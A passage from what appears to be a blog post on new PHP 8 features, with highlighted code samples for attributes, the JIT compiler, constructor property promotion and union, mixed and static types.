    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Grouped&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Attr1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Attr2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Example&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Attr2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;foo&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
      &lt;span class=&quot;nf&quot;&gt;Attr2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;bar&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And to validate Attributes and ensure they are only used in the correct location:&lt;/p&gt;
&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Doctrine\ORM\Attributes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 
&lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Attribute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Attribute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;TARGET_PROPERTY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Column&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__construct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And now there is another &lt;a href=&quot;https://wiki.php.net/rfc/shorter_attribute_syntax&quot;&gt;RFC proposing a diffreent syntax&lt;/a&gt;.
Voting on this RFC closes on July 1 and it looks like we’ll get the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@@Attribute&lt;/code&gt; syntax which is much nicer than
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;&amp;lt;Attribute&amp;gt;&amp;gt;&lt;/code&gt;` and allows nested attributes:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Doctrine\ORM\Attributes&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;ORM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Symfony\Component\Validator\Constraints&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Assert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 
&lt;span class=&quot;o&quot;&gt;@@&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;ORM\Entity&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;@@&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;ORM\Id&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;@@&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ORM\Column&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;integer&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;@@&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;ORM\GeneratedValue&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 
    &lt;span class=&quot;o&quot;&gt;@@&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ORM\Column&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;string&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ORM\Column&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;UNIQUE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;@@&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Assert\Email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;message&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;The email '' is not a valid email.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 
    &lt;span class=&quot;o&quot;&gt;@@&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ORM\ManyToMany&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Phonenumber&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;@@&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;JoinTable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;s2&quot;&gt;&quot;users_phonenumbers&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;@@&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;JoinColumn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;User_id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;@@&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;JoinColumn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;phonenumber_id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$phonenumbers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Attributes are fetched with Reflection methods. Very similar, but much easier
than fetching annotations from the doc block because they don’t need to be 
manually parsed.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$reflector&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ReflectionClass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$idProperty&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$reflector&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'id'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$attrs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$idProperty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getAttributes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;foreach&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$attrs&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$attriubute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$attribute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// &quot;Doctrine\ORM\Attributes\Column&quot;&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$attribute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getArguments&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [&quot;integer&quot;]&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$attribute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;newInstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// object(Doctrine\ORM\Attributes\Colunm)#1 (2) {&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;//  [&quot;type&quot;:&quot;User&quot;:private]=&amp;gt; string(11) &quot;integer&quot;        &lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// }&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;jit&quot;&gt;JIT&lt;/h4&gt;

&lt;p&gt;&lt;a href=&quot;https://wiki.php.net/rfc/jit&quot;&gt;RFC&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Probably the most anticipated feature of PHP 8 is the JIT, which is a Just In Time
compiler. Initially PHP was going to get a JIT in version 7, however there was a lot 
of tweaks and fixes required to effectively implement a JIT and it just so happeded that
those tweaks and fixes provided most of the performance gains. As a result, those gains 
were released on their own in PHP 7 and the JIT moved back to PHP 8.&lt;/p&gt;

&lt;p&gt;To understand the benefit provided by JIt, you need to know how PHP code is executed:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/php-execution-diagram.png&quot; alt=&quot;PHP executino diagram&quot; /&gt;&lt;/p&gt;

&lt;p&gt;PHP code is first broken down into tokens using a process called “Lexing”, these
tokens are then parsed into an Abstract Syntax Tree (AST) which allows the compiler
to understand the code. The compiler takes the AST and produces OPcodes which are
then passed to the Zend VM to get executed on the CPU. Since PHP 5.5 we’ve been
able to cache these OPcodes after the compilation step to prevent having to lex and
parse the same code many times, but the Zend VM still has to interperet the OPcodes
and execute them.&lt;/p&gt;

&lt;p&gt;With the JIT enabled, the Zend VM will identify sections of code that are executed 
many times. These “hot” code parts will be compiled directly into machine code and
stored alongside the OPcodes. The next time that section of code is executed, it
can bypass the Zend VM and be executed directly on the CPU.&lt;/p&gt;

&lt;p&gt;The main performance gains from the JIT will likely be to non-web code. Web related code
is often bound by I/O calls (ie. databases, filesystems, etc) and the JIT will only speed
up CPU bound code. However, the JIT does open the doors for PHP to be used for many 
things you wouldn’t want to use it for in the past. Think image and data manipulation,
long running processes and even machine learning.&lt;/p&gt;

&lt;h4 id=&quot;construction-property-promotion&quot;&gt;Construction property promotion&lt;/h4&gt;

&lt;p&gt;&lt;a href=&quot;https://wiki.php.net/rfc/constructor_promotion&quot;&gt;RFC&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Classes carry a lot of boilerplate code in PHP, one way of cutting this down is with
property promotion. This allows you to declare and define a property directly in the
constructor.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Without property promotion&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;cd&quot;&gt;/** @var string[] */&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;array&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$phoneNumbers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__construct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
        &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
        &lt;span class=&quot;kt&quot;&gt;array&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$phoneNumbers&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;email&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;phoneNumbers&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$phoneNumbers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// With property promotion&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__construct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
        &lt;span class=&quot;kt&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
	&lt;span class=&quot;cd&quot;&gt;/** @var string[] */&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$phoneNumbers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A few caveats:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Can be used to declare/assign &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;public&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;protected&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;private&lt;/code&gt; properties&lt;/li&gt;
  &lt;li&gt;Only allowed in constructors&lt;/li&gt;
  &lt;li&gt;Can skip types if you like&lt;/li&gt;
  &lt;li&gt;Can only have simple default values like before, ie. no calling functions&lt;/li&gt;
  &lt;li&gt;Can combine promoted and non-promoted properties in the same class&lt;/li&gt;
  &lt;li&gt;Can have doc commments and annotations on promoted properties&lt;/li&gt;
  &lt;li&gt;Cannot promote properties in abstract classes, but you can in traits&lt;/li&gt;
  &lt;li&gt;Cannot use varidic propreties, eg. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;public string ...$names&lt;/code&gt; because &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$names&lt;/code&gt; is actually an array, not a string.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;type-improvements&quot;&gt;Type improvements&lt;/h4&gt;

&lt;p&gt;&lt;a href=&quot;https://wiki.php.net/rfc/mixed_type_v2&quot;&gt;Mixed type RFC&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://wiki.php.net/rfc/static_return_type&quot;&gt;Static return type RFC&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://wiki.php.net/rfc/union_types_v2&quot;&gt;Union type RFC&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There have been quite a few type improvements in PHP 8. We can now use union types, 
the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mixed&lt;/code&gt; type and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;static&lt;/code&gt; return type.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Dog&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;breed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;static&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;static&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;abstract&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;speak&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;mixed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Husky&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;extends&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Dog&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;speak&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Growl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Howl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Bark&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Liskov substitution since PHP7.4&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;isHungry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Growl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;isExcited&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Howl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Bark&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$zara&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Husky&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Typed as &quot;Husky&quot; using `static' return type&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Typed as &quot;Dog&quot; using `self` return type&lt;/span&gt;
